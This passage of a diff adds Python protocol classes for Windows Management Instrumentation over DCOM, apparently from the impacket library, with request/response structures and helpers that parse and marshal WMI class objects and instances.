+# 3.1.4.3.13 IWbemServices::PutInstanceAsync (Opnum 15)
+class IWbemServices_PutInstanceAsync(DCOMCALL):
+    opnum = 15
+    structure = (
+       ('pInst', PMInterfacePointer),
+       ('lFlags', LONG),
+       ('pCtx', PMInterfacePointer),
+       ('pResponseHandler', PMInterfacePointer),
+    )
+
+class IWbemServices_PutInstanceAsyncResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.3.14 IWbemServices::DeleteInstance (Opnum 16)
+class IWbemServices_DeleteInstance(DCOMCALL):
+    opnum = 16
+    structure = (
+       ('strObjectPath', BSTR),
+       ('lFlags', LONG),
+       ('pCtx', PMInterfacePointer),
+       ('ppCallResult', PMInterfacePointer),
+    )
+
+class IWbemServices_DeleteInstanceResponse(DCOMANSWER):
+    structure = (
+       ('ppCallResult', PPMInterfacePointer),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.3.15 IWbemServices::DeleteInstanceAsync (Opnum 17)
+class IWbemServices_DeleteInstanceAsync(DCOMCALL):
+    opnum = 17
+    structure = (
+       ('strObjectPath', BSTR),
+       ('lFlags', LONG),
+       ('pCtx', PMInterfacePointer),
+       ('pResponseHandler', PMInterfacePointer),
+    )
+
+class IWbemServices_DeleteInstanceAsyncResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.3.16 IWbemServices::CreateInstanceEnum (Opnum 18)
+class IWbemServices_CreateInstanceEnum(DCOMCALL):
+    opnum = 18
+    structure = (
+       ('strSuperClass', BSTR),
+       ('lFlags', LONG),
+       ('pCtx', PMInterfacePointer),
+    )
+
+class IWbemServices_CreateInstanceEnumResponse(DCOMANSWER):
+    structure = (
+       ('ppEnum', PMInterfacePointer),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.3.17 IWbemServices::CreateInstanceEnumAsync (Opnum 19)
+class IWbemServices_CreateInstanceEnumAsync(DCOMCALL):
+    opnum = 19
+    structure = (
+       ('strSuperClass', BSTR),
+       ('lFlags', LONG),
+       ('pCtx', PMInterfacePointer),
+       ('pResponseHandler', PMInterfacePointer),
+    )
+
+class IWbemServices_CreateInstanceEnumAsyncResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.3.18 IWbemServices::ExecQuery (Opnum 20)
+class IWbemServices_ExecQuery(DCOMCALL):
+    opnum = 20
+    structure = (
+       ('strQueryLanguage', BSTR),
+       ('strQuery', BSTR),
+       ('lFlags', LONG),
+       ('pCtx', PMInterfacePointer),
+    )
+
+class IWbemServices_ExecQueryResponse(DCOMANSWER):
+    structure = (
+       ('ppEnum', PMInterfacePointer),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.3.19 IWbemServices::ExecQueryAsync (Opnum 21)
+class IWbemServices_ExecQueryAsync(DCOMCALL):
+    opnum = 21
+    structure = (
+       ('strQueryLanguage', BSTR),
+       ('strQuery', BSTR),
+       ('lFlags', LONG),
+       ('pCtx', PMInterfacePointer),
+       ('pResponseHandler', PMInterfacePointer),
+    )
+
+class IWbemServices_ExecQueryAsyncResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.3.20 IWbemServices::ExecNotificationQuery (Opnum 22)
+class IWbemServices_ExecNotificationQuery(DCOMCALL):
+    opnum = 22
+    structure = (
+       ('strQueryLanguage', BSTR),
+       ('strQuery', BSTR),
+       ('lFlags', LONG),
+       ('pCtx', PMInterfacePointer),
+    )
+
+class IWbemServices_ExecNotificationQueryResponse(DCOMANSWER):
+    structure = (
+       ('ppEnum', PMInterfacePointer),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.3.21 IWbemServices::ExecNotificationQueryAsync (Opnum 23)
+class IWbemServices_ExecNotificationQueryAsync(DCOMCALL):
+    opnum = 23
+    structure = (
+       ('strQueryLanguage', BSTR),
+       ('strQuery', BSTR),
+       ('lFlags', LONG),
+       ('pCtx', PMInterfacePointer),
+       ('pResponseHandler', PMInterfacePointer),
+    )
+
+class IWbemServices_ExecNotificationQueryAsyncResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.3.22 IWbemServices::ExecMethod (Opnum 24)
+class IWbemServices_ExecMethod(DCOMCALL):
+    opnum = 24
+    structure = (
+       ('strObjectPath', BSTR),
+       ('strMethodName', BSTR),
+       ('lFlags', LONG),
+       ('pCtx', PMInterfacePointer),
+       ('pInParams', PMInterfacePointer),
+       ('ppOutParams', PPMInterfacePointer),
+       ('ppCallResult', PPMInterfacePointer),
+    )
+
+class IWbemServices_ExecMethodResponse(DCOMANSWER):
+    structure = (
+       ('ppOutParams', PPMInterfacePointer),
+       ('ppCallResult', PPMInterfacePointer),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.3.23 IWbemServices::ExecMethodAsync (Opnum 25)
+class IWbemServices_ExecMethodAsync(DCOMCALL):
+    opnum = 25
+    structure = (
+       ('strObjectPath', BSTR),
+       ('strMethodName', BSTR),
+       ('lFlags', LONG),
+       ('pCtx', PMInterfacePointer),
+       ('pInParams', PMInterfacePointer),
+       ('pResponseHandler', PMInterfacePointer),
+    )
+
+class IWbemServices_ExecMethodAsyncResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.4 IEnumWbemClassObject Interface
+# 3.1.4.4.1 IEnumWbemClassObject::Reset (Opnum 3)
+class IEnumWbemClassObject_Reset(DCOMCALL):
+    opnum = 3
+    structure = (
+    )
+
+class IEnumWbemClassObject_ResetResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.4.2 IEnumWbemClassObject::Next (Opnum 4)
+class IEnumWbemClassObject_Next(DCOMCALL):
+    opnum = 4
+    structure = (
+       ('lTimeout', ULONG),
+       ('uCount', ULONG),
+    )
+
+class IEnumWbemClassObject_NextResponse(DCOMANSWER):
+    structure = (
+       ('apObjects', PMInterfacePointer_ARRAY_CV),
+       ('puReturned', ULONG),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.4.3 IEnumWbemClassObject::NextAsync (Opnum 5)
+class IEnumWbemClassObject_NextAsync(DCOMCALL):
+    opnum = 5
+    structure = (
+       ('lTimeout', LONG),
+       ('pSink', PMInterfacePointer),
+    )
+
+class IEnumWbemClassObject_NextAsyncResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.4.4 IEnumWbemClassObject::Clone (Opnum 6)
+class IEnumWbemClassObject_Clone(DCOMCALL):
+    opnum = 6
+    structure = (
+    )
+
+class IEnumWbemClassObject_CloneResponse(DCOMANSWER):
+    structure = (
+       ('ppEnum', PMInterfacePointer),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.4.5 IEnumWbemClassObject::Skip (Opnum 7)
+class IEnumWbemClassObject_Skip(DCOMCALL):
+    opnum = 7
+    structure = (
+       ('lTimeout', LONG),
+       ('uCount', ULONG),
+    )
+
+class IEnumWbemClassObject_SkipResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.5 IWbemCallResult Interface
+# 3.1.4.5.1 IWbemCallResult::GetResultObject (Opnum 3)
+class IWbemCallResult_GetResultObject(DCOMCALL):
+    opnum = 3
+    structure = (
+       ('lTimeout', LONG),
+    )
+
+class IWbemCallResult_GetResultObjectResponse(DCOMANSWER):
+    structure = (
+       ('ppResultObject', PMInterfacePointer),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.5.2 IWbemCallResult::GetResultString (Opnum 4)
+class IWbemCallResult_GetResultString(DCOMCALL):
+    opnum = 4
+    structure = (
+       ('lTimeout', LONG),
+    )
+
+class IWbemCallResult_GetResultStringResponse(DCOMANSWER):
+    structure = (
+       ('pstrResultString', BSTR),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.5.3 IWbemCallResult::GetResultServices (Opnum 5)
+class IWbemCallResult_GetResultServices(DCOMCALL):
+    opnum = 5
+    structure = (
+       ('lTimeout', LONG),
+    )
+
+class IWbemCallResult_GetResultServicesResponse(DCOMANSWER):
+    structure = (
+       ('ppServices', PMInterfacePointer),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.5.4 IWbemCallResult::GetCallStatus (Opnum 6)
+class IWbemCallResult_GetCallStatus(DCOMCALL):
+    opnum = 6
+    structure = (
+       ('lTimeout', LONG),
+    )
+
+class IWbemCallResult_GetCallStatusResponse(DCOMANSWER):
+    structure = (
+       ('plStatus', LONG),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.6 IWbemFetchSmartEnum Interface
+# 3.1.4.6.1 IWbemFetchSmartEnum::GetSmartEnum (Opnum 3)
+class IWbemFetchSmartEnum_GetSmartEnum(DCOMCALL):
+    opnum = 3
+    structure = (
+    )
+
+class IWbemFetchSmartEnum_GetSmartEnumResponse(DCOMANSWER):
+    structure = (
+       ('ppSmartEnum', PMInterfacePointer),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.7 IWbemWCOSmartEnum Interface
+# 3.1.4.7.1 IWbemWCOSmartEnum::Next (Opnum 3)
+class IWbemWCOSmartEnum_Next(DCOMCALL):
+    opnum = 3
+    structure = (
+       ('proxyGUID', REFGUID),
+       ('lTimeout', LONG),
+       ('uCount', ULONG),
+    )
+
+class IWbemWCOSmartEnum_NextResponse(DCOMANSWER):
+    structure = (
+       ('puReturned', ULONG),
+       ('pdwBuffSize', ULONG),
+       ('pBuffer', BYTE_ARRAY),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.8 IWbemLoginClientID Interface
+# 3.1.4.8.1 IWbemLoginClientID::SetClientInfo (Opnum 3)
+class IWbemLoginClientID_SetClientInfo(DCOMCALL):
+    opnum = 3
+    structure = (
+       ('wszClientMachine', LPWSTR),
+       ('lClientProcId', LONG),
+       ('lReserved', LONG),
+    )
+
+class IWbemLoginClientID_SetClientInfoResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.9 IWbemLoginHelper Interface
+# 3.1.4.9.1 IWbemLoginHelper::SetEvent (Opnum 3)
+class IWbemLoginHelper_SetEvent(DCOMCALL):
+    opnum = 3
+    structure = (
+       ('sEventToSet', LPCSTR),
+    )
+
+class IWbemLoginHelper_SetEventResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+#AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+# 3.1.4.10 IWbemBackupRestore Interface
+# 3.1.4.10.1 IWbemBackupRestore::Backup (Opnum 3)
+class IWbemBackupRestore_Backup(DCOMCALL):
+    opnum = 3
+    structure = (
+       ('strBackupToFile', LPWSTR),
+       ('lFlags', LONG),
+    )
+
+class IWbemBackupRestore_BackupResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.10.2 IWbemBackupRestore::Restore (Opnum 4)
+class IWbemBackupRestore_Restore(DCOMCALL):
+    opnum = 4
+    structure = (
+       ('strRestoreFromFile', LPWSTR),
+       ('lFlags', LONG),
+    )
+
+class IWbemBackupRestore_RestoreResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.11 IWbemBackupRestoreEx Interface
+# 3.1.4.11.1 IWbemBackupRestoreEx::Pause (Opnum 5)
+class IWbemBackupRestoreEx_Pause(DCOMCALL):
+    opnum = 5
+    structure = (
+    )
+
+class IWbemBackupRestoreEx_PauseResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.11.2 IWbemBackupRestoreEx::Resume (Opnum 6)
+class IWbemBackupRestoreEx_Resume(DCOMCALL):
+    opnum = 6
+    structure = (
+    )
+
+class IWbemBackupRestoreEx_ResumeResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.12 IWbemRefreshingServices Interface
+# 3.1.4.12.1 IWbemRefreshingServices::AddObjectToRefresher (Opnum 3)
+class IWbemRefreshingServices_AddObjectToRefresher(DCOMCALL):
+    opnum = 3
+    structure = (
+       ('pRefresherId', _WBEM_REFRESHER_ID),
+       ('wszPath', LPWSTR),
+       ('lFlags', LONG),
+       ('pContext', PMInterfacePointer),
+       ('dwClientRefrVersion', DWORD),
+    )
+
+class IWbemRefreshingServices_AddObjectToRefresherResponse(DCOMANSWER):
+    structure = (
+       ('pInfo', _WBEM_REFRESH_INFO),
+       ('pdwSvrRefrVersion', DWORD),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.12.2 IWbemRefreshingServices::AddObjectToRefresherByTemplate (Opnum 4)
+class IWbemRefreshingServices_AddObjectToRefresherByTemplate(DCOMCALL):
+    opnum = 4
+    structure = (
+       ('pRefresherId', _WBEM_REFRESHER_ID),
+       ('pTemplate', PMInterfacePointer),
+       ('lFlags', LONG),
+       ('pContext', PMInterfacePointer),
+       ('dwClientRefrVersion', DWORD),
+    )
+
+class IWbemRefreshingServices_AddObjectToRefresherByTemplateResponse(DCOMANSWER):
+    structure = (
+       ('pInfo', _WBEM_REFRESH_INFO),
+       ('pdwSvrRefrVersion', DWORD),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.12.3 IWbemRefreshingServices::AddEnumToRefresher (Opnum 5)
+class IWbemRefreshingServices_AddEnumToRefresher(DCOMCALL):
+    opnum = 5
+    structure = (
+       ('pRefresherId', _WBEM_REFRESHER_ID),
+       ('wszClass', LPWSTR),
+       ('lFlags', LONG),
+       ('pContext', PMInterfacePointer),
+       ('dwClientRefrVersion', DWORD),
+    )
+
+class IWbemRefreshingServices_AddEnumToRefresherResponse(DCOMANSWER):
+    structure = (
+       ('pInfo', _WBEM_REFRESH_INFO),
+       ('pdwSvrRefrVersion', DWORD),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.12.4 IWbemRefreshingServices::RemoveObjectFromRefresher (Opnum 6)
+class IWbemRefreshingServices_RemoveObjectFromRefresher(DCOMCALL):
+    opnum = 6
+    structure = (
+       ('pRefresherId', _WBEM_REFRESHER_ID),
+       ('lId', LONG),
+       ('lFlags', LONG),
+       ('dwClientRefrVersion', DWORD),
+    )
+
+class IWbemRefreshingServices_RemoveObjectFromRefresherResponse(DCOMANSWER):
+    structure = (
+       ('pdwSvrRefrVersion', DWORD),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.12.5 IWbemRefreshingServices::GetRemoteRefresher (Opnum 7)
+class IWbemRefreshingServices_GetRemoteRefresher(DCOMCALL):
+    opnum = 7
+    structure = (
+       ('pRefresherId', _WBEM_REFRESHER_ID),
+       ('lFlags', LONG),
+       ('dwClientRefrVersion', DWORD),
+    )
+
+class IWbemRefreshingServices_GetRemoteRefresherResponse(DCOMANSWER):
+    structure = (
+       ('ppRemRefresher', PMInterfacePointer),
+       ('pGuid', GUID),
+       ('pdwSvrRefrVersion', DWORD),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.12.6 IWbemRefreshingServices::ReconnectRemoteRefresher (Opnum 8)
+class IWbemRefreshingServices_ReconnectRemoteRefresher(DCOMCALL):
+    opnum = 8
+    structure = (
+       ('pRefresherId', _WBEM_REFRESHER_ID),
+       ('lFlags', LONG),
+       ('lNumObjects', LONG),
+       ('dwClientRefrVersion', DWORD),
+       ('apReconnectInfo', _WBEM_RECONNECT_INFO_ARRAY),
+    )
+
+class IWbemRefreshingServices_ReconnectRemoteRefresherResponse(DCOMANSWER):
+    structure = (
+       ('apReconnectResults', _WBEM_RECONNECT_RESULTS_ARRAY),
+       ('pdwSvrRefrVersion', DWORD),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.13 IWbemRemoteRefresher Interface
+# 3.1.4.13.1 IWbemRemoteRefresher::RemoteRefresh (Opnum 3)
+class IWbemRemoteRefresher_RemoteRefresh(DCOMCALL):
+    opnum = 3
+    structure = (
+       ('lFlags', LONG),
+    )
+
+class IWbemRemoteRefresher_RemoteRefreshResponse(DCOMANSWER):
+    structure = (
+       ('plNumObjects', _WBEM_RECONNECT_RESULTS_ARRAY),
+       ('paObjects', PWBEM_REFRESHED_OBJECT_ARRAY),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.13.2 IWbemRemoteRefresher::StopRefreshing (Opnum 4)
+class IWbemRemoteRefresher_StopRefreshing(DCOMCALL):
+    opnum = 4
+    structure = (
+       ('lNumIds', LONG),
+       ('aplIds', PULONG_ARRAY),
+       ('lFlags', LONG),
+    )
+
+class IWbemRemoteRefresher_StopRefreshingResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.14 IWbemShutdown Interface
+# 3.1.4.14.1 IWbemShutdown::Shutdown (Opnum 3)
+class IWbemShutdown_Shutdown(DCOMCALL):
+    opnum = 3
+    structure = (
+       ('reserved1', LONG),
+       ('reserved2', ULONG),
+       ('reserved3', PMInterfacePointer),
+    )
+
+class IWbemShutdown_ShutdownResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.15 IUnsecuredApartment Interface
+# 3.1.4.15.1 IUnsecuredApartment::CreateObjectStub (Opnum 3)
+class IUnsecuredApartment_CreateObjectStub(DCOMCALL):
+    opnum = 3
+    structure = (
+       ('reserved1', PMInterfacePointer),
+    )
+
+class IUnsecuredApartment_CreateObjectStubResponse(DCOMANSWER):
+    structure = (
+       ('reserved2', PMInterfacePointer),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.16 IWbemUnsecuredApartment Interface
+# 3.1.4.16.1 IWbemUnsecuredApartment::CreateSinkStub (Opnum 3)
+class IWbemUnsecuredApartment_CreateSinkStub(DCOMCALL):
+    opnum = 3
+    structure = (
+       ('reserved1', PMInterfacePointer),
+       ('reserved2', DWORD),
+       ('reserved3', LPWSTR),
+    )
+
+class IWbemUnsecuredApartment_CreateSinkStubResponse(DCOMANSWER):
+    structure = (
+       ('reserved4', PMInterfacePointer),
+       ('ErrorCode', error_status_t),
+    )
+
+################################################################################
+# OPNUMs and their corresponding structures
+################################################################################
+OPNUMS = {
+}
+
+################################################################################
+# HELPER FUNCTIONS AND INTERFACES
+################################################################################
+def checkNullString(string):
+    if string == NULL:
+        return string
+
+    if string[-1:] != '\x00':
+        return string + '\x00'
+    else:
+        return string
+
+class IWbemClassObject(IRemUnknown):
+    def __init__(self, interface, iWbemServices = None):
+        IRemUnknown.__init__(self,interface)
+        self._iid = IID_IWbemClassObject
+        self.__iWbemServices = iWbemServices
+        self.__methods = None
+
+        objRef = self.get_objRef()
+        objRef = OBJREF_CUSTOM(objRef)
+        self.encodingUnit = ENCODING_UNIT(objRef['pObjectData'])
+        self.parseObject()
+        if self.encodingUnit['ObjectBlock'].isInstance() is False:
+            self.createMethods(self.getClassName(), self.getMethods())
+        else:
+            self.createProperties(self.getProperties())
+
+    def __getattr__(self, attr):
+        if attr.startswith('__') is not True:
+            properties = self.getProperties()
+            # Let's see if there's a key property so we can ExecMethod
+            keyProperty = None
+            for pName in properties:
+                if 'key' in properties[pName]['qualifiers']:
+                    keyProperty = pName
+
+            if keyProperty is None:
+                LOG.error("I don't have a key property in this set!")
+            else:
+                if self.__methods is None:
+                    classObject,_ = self.__iWbemServices.GetObject(self.getClassName())
+                    self.__methods = classObject.getMethods()
+
+                if attr in self.__methods:
+                    # Now we gotta build the class name to be called through ExecMethod
+                    if self.getProperties()[keyProperty]['stype'] != 'string':
+                        instanceName = '%s.%s=%s' % (
+                        self.getClassName(), keyProperty, self.getProperties()[keyProperty]['value'])
+                    else:
+                        instanceName = '%s.%s="%s"' % (
+                        self.getClassName(), keyProperty, self.getProperties()[keyProperty]['value'])
+
+                    self.createMethods(instanceName , self.__methods)
+                    #print dir(self)
+                    return getattr(self, attr)
+
+        raise AttributeError("%r object has no attribute %r" %
+                             (self.__class__, attr))
+
+    def parseObject(self):
+        self.encodingUnit['ObjectBlock'].parseObject()
+
+    def getObject(self):
+        return self.encodingUnit['ObjectBlock']
+
+    def getClassName(self):
+        if self.encodingUnit['ObjectBlock'].isInstance() is False:
+            return self.encodingUnit['ObjectBlock']['ClassType']['CurrentClass'].getClassName().split(' ')[0]
+        else:
+            return self.encodingUnit['ObjectBlock']['InstanceType']['CurrentClass'].getClassName().split(' ')[0]
+
+    def printInformation(self):
+        return self.encodingUnit['ObjectBlock'].printInformation()
+
+    def getProperties(self):
+        if self.encodingUnit['ObjectBlock'].ctCurrent is None:
+            return ()
+        return self.encodingUnit['ObjectBlock'].ctCurrent['properties']
+    
+    def getMethods(self):
+        if self.encodingUnit['ObjectBlock'].ctCurrent is None:
+            return ()
+        return self.encodingUnit['ObjectBlock'].ctCurrent['methods']
+
+    @staticmethod
+    def __ndEntry(index, null_default, inherited_default):
+        # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wmio/ed436785-40fc-425e-ad3d-f9200eb1a122
+        return (bool(null_default) << 1 | bool(inherited_default)) << (2 * index)
+
+    def marshalMe(self):
+        # So, in theory, we have the OBJCUSTOM built, but 
+        # we need to update the values
+        # That's what we'll do
+
+        instanceHeap = b''
+        valueTable = b''
+        ndTable = 0
+        parametersClass = ENCODED_STRING()
+        parametersClass['Character'] = self.getClassName()
+        instanceHeap += parametersClass.getData()
+        curHeapPtr = len(instanceHeap)
+        properties = self.getProperties()
+        for i, propName in enumerate(properties):
+            propRecord = properties[propName]
+            itemValue = getattr(self, propName)
+            propIsInherited = propRecord['inherited']
+            print("PropName %r, Value: %r" % (propName,itemValue))
+
+            pType = propRecord['type'] & (~(CIM_ARRAY_FLAG|Inherited)) 
+            if propRecord['type'] & CIM_ARRAY_FLAG:
+                # Not yet ready
+                packStr = HEAPREF[:-2]
+            else:
+                packStr = CIM_TYPES_REF[pType][:-2]
+
+            if propRecord['type'] & CIM_ARRAY_FLAG:
+                if itemValue is None:
+                    ndTable |= self.__ndEntry(i, True, propIsInherited)
+                    valueTable += pack(packStr, 0)
+                else:
+                    valueTable += pack('<L', curHeapPtr)
+                    arraySize = pack(HEAPREF[:-2], len(itemValue))
+                    packStrArray =  CIM_TYPES_REF[pType][:-2]
+                    arrayItems = b''
+                    for j in range(len(itemValue)):
+                        arrayItems += pack(packStrArray, itemValue[j])
+                    instanceHeap += arraySize + arrayItems
+                    curHeapPtr = len(instanceHeap)
+            elif pType in (CIM_TYPE_ENUM.CIM_TYPE_UINT8.value, CIM_TYPE_ENUM.CIM_TYPE_UINT16.value,
+                           CIM_TYPE_ENUM.CIM_TYPE_UINT32.value, CIM_TYPE_ENUM.CIM_TYPE_UINT64.value):
+                if itemValue is None:
+                    ndTable |= self.__ndEntry(i, True, propIsInherited)
+                    valueTable += pack(packStr, 0)
+                else:
+                    valueTable += pack(packStr, int(itemValue))
+            elif pType in (CIM_TYPE_ENUM.CIM_TYPE_BOOLEAN.value,):
+                if itemValue is None:
+                    ndTable |= self.__ndEntry(i, True, propIsInherited)
+                    valueTable += pack(packStr, False)
+                else:
+                    valueTable += pack(packStr, bool(itemValue))
+            elif pType not in (CIM_TYPE_ENUM.CIM_TYPE_STRING.value, CIM_TYPE_ENUM.CIM_TYPE_DATETIME.value,
+                               CIM_TYPE_ENUM.CIM_TYPE_REFERENCE.value, CIM_TYPE_ENUM.CIM_TYPE_OBJECT.value):
+                if itemValue is None:
+                    ndTable |= self.__ndEntry(i, True, propIsInherited)
+                    valueTable += pack(packStr, -1)
+                else:
+                    valueTable += pack(packStr, itemValue)
+            elif pType == CIM_TYPE_ENUM.CIM_TYPE_OBJECT.value:
+                # For now we just pack None and set the inherited_default
+                # flag, just in case a parent class defines this for us
+                valueTable += b'\x00'*4
+                if itemValue is None:
+                    ndTable |= self.__ndEntry(i, True, True)
+            else:
+                if itemValue == '':
+                    # https://github.com/SecureAuthCorp/impacket/pull/1069#issuecomment-835179409
+                    # Force inherited_default to avoid 'obscure' issue in wmipersist.py
+                    ndTable |= self.__ndEntry(i, True, True)
+                    valueTable += pack('<L', 0)
+                else:
+                    strIn = ENCODED_STRING()
+                    strIn['Character'] = itemValue
+                    valueTable += pack('<L', curHeapPtr)
+                    instanceHeap += strIn.getData()
+                    curHeapPtr = len(instanceHeap)
+
+        ndTableLen = (len(properties) - 1) // 4 + 1
+        packedNdTable = b''
+        for i in range(ndTableLen):
+            packedNdTable += pack('B', ndTable & 0xff)
+            ndTable >>=  8
+
+        # Now let's update the structure
+        objRef = self.get_objRef()
+        objRef = OBJREF_CUSTOM(objRef)
+        encodingUnit = ENCODING_UNIT(objRef['pObjectData'])
+
+        currentClass = encodingUnit['ObjectBlock']['InstanceType']['CurrentClass']
+        encodingUnit['ObjectBlock']['InstanceType']['CurrentClass'] = b''
+
+        encodingUnit['ObjectBlock']['InstanceType']['NdTable_ValueTable'] = packedNdTable + valueTable
+        encodingUnit['ObjectBlock']['InstanceType']['InstanceHeap']['HeapLength'] = len(instanceHeap) | 0x80000000
+        encodingUnit['ObjectBlock']['InstanceType']['InstanceHeap']['HeapItem'] = instanceHeap
+
+        encodingUnit['ObjectBlock']['InstanceType']['EncodingLength'] = len(encodingUnit['ObjectBlock']['InstanceType'])
+        encodingUnit['ObjectBlock']['InstanceType']['CurrentClass'] = currentClass
+
+        encodingUnit['ObjectEncodingLength'] = len(encodingUnit['ObjectBlock'])
+
+        #encodingUnit.dump()
+        #ENCODING_UNIT(str(encodingUnit)).dump()
+
+        objRef['pObjectData'] = encodingUnit
+
+        return objRef
+
+    def SpawnInstance(self):
+        # Doing something similar to:
+        # https://docs.microsoft.com/windows/desktop/api/wbemcli/nf-wbemcli-iwbemclassobject-spawninstance
+        #
+        if self.encodingUnit['ObjectBlock'].isInstance() is False:
+            # We need to convert some things to transform a class into an instance
+            encodingUnit = ENCODING_UNIT()
+
+            instanceData = OBJECT_BLOCK()
+            instanceData.structure += OBJECT_BLOCK.decoration
+            instanceData.structure += OBJECT_BLOCK.instanceType
+            instanceData['ObjectFlags'] = 6
+            instanceData['Decoration'] = self.encodingUnit['ObjectBlock']['Decoration'].getData()
+
+            instanceType = INSTANCE_TYPE()
+            instanceType['CurrentClass'] = b''
+
+            # Let's create the heap for the parameters
+            instanceHeap = b''
+            valueTable = b''
+            parametersClass = ENCODED_STRING()
+            parametersClass['Character'] = self.getClassName()
+            instanceHeap += parametersClass.getData()
+            curHeapPtr = len(instanceHeap)
+
+            ndTable = 0
+            properties = self.getProperties()
+
+            # Let's initialize the values
+            for i, propName in enumerate(properties):
+                propRecord = properties[propName]
+
+                pType = propRecord['type'] & (~(CIM_ARRAY_FLAG|Inherited)) 
+                if propRecord['type'] & CIM_ARRAY_FLAG:
+                    # Not yet ready
+                    #print paramDefinition
+                    #raise
+                    packStr = HEAPREF[:-2]
+                else:
+                    packStr = CIM_TYPES_REF[pType][:-2]
+
+                if propRecord['type'] & CIM_ARRAY_FLAG:
+                    valueTable += pack(packStr, 0)
+                elif pType not in (CIM_TYPE_ENUM.CIM_TYPE_STRING.value, CIM_TYPE_ENUM.CIM_TYPE_DATETIME.value,
+                                   CIM_TYPE_ENUM.CIM_TYPE_REFERENCE.value, CIM_TYPE_ENUM.CIM_TYPE_OBJECT.value):
+                    valueTable += pack(packStr, 0)
+                elif pType == CIM_TYPE_ENUM.CIM_TYPE_OBJECT.value:
+                    # For now we just pack None and set the inherited_default
+                    # flag, just in case a parent class defines this for us
+                    valueTable += b'\x00'*4
+                    ndTable |= self.__ndEntry(i, True, True)
+                else:
+                    strIn = ENCODED_STRING()
+                    strIn['Character'] = ''
+                    valueTable += pack('<L', curHeapPtr)
+                    instanceHeap += strIn.getData()
+                    curHeapPtr = len(instanceHeap)
+
+            ndTableLen = (len(properties) - 1) // 4 + 1
+            packedNdTable = b''
+            for i in range(ndTableLen):
+                packedNdTable += pack('B', ndTable & 0xff)
+                ndTable >>=  8
+
+            instanceType['NdTable_ValueTable'] = packedNdTable + valueTable
+
+            instanceType['InstanceQualifierSet'] = b'\x04\x00\x00\x00\x01'
+
+            instanceType['InstanceHeap'] = HEAP()
+            instanceType['InstanceHeap']['HeapItem'] = instanceHeap
+            instanceType['InstanceHeap']['HeapLength'] = len(instanceHeap) | 0x80000000
+            instanceType['EncodingLength'] = len(instanceType)
+
+            instanceType['CurrentClass'] = self.encodingUnit['ObjectBlock']['ClassType']['CurrentClass']['ClassPart']
+            instanceData['InstanceType'] = instanceType.getData()
+
+            encodingUnit['ObjectBlock'] = instanceData
+            encodingUnit['ObjectEncodingLength'] = len(instanceData)
+
+            #ENCODING_UNIT(str(encodingUnit)).dump()
+
+            objRefCustomIn = OBJREF_CUSTOM()
+            objRefCustomIn['iid'] = self._iid
+            objRefCustomIn['clsid'] = CLSID_WbemClassObject
+            objRefCustomIn['cbExtension'] = 0
+            objRefCustomIn['ObjectReferenceSize'] = len(encodingUnit)
+            objRefCustomIn['pObjectData'] = encodingUnit
+
+            # There's gotta be a better way to do this
+            # I will reimplement this stuff once I know it works
+            import copy
+            newObj = copy.deepcopy(self)
+            newObj.set_objRef(objRefCustomIn.getData())
+            newObj.process_interface(objRefCustomIn.getData())
+            newObj.encodingUnit = ENCODING_UNIT(encodingUnit.getData())
+            newObj.parseObject()
+            if newObj.encodingUnit['ObjectBlock'].isInstance() is False:
+                newObj.createMethods(newObj.getClassName(), newObj.getMethods())
+            else:
+                newObj.createProperties(newObj.getProperties())
+
+            return newObj
+        else:
+            return self
+
+    def createProperties(self, properties):
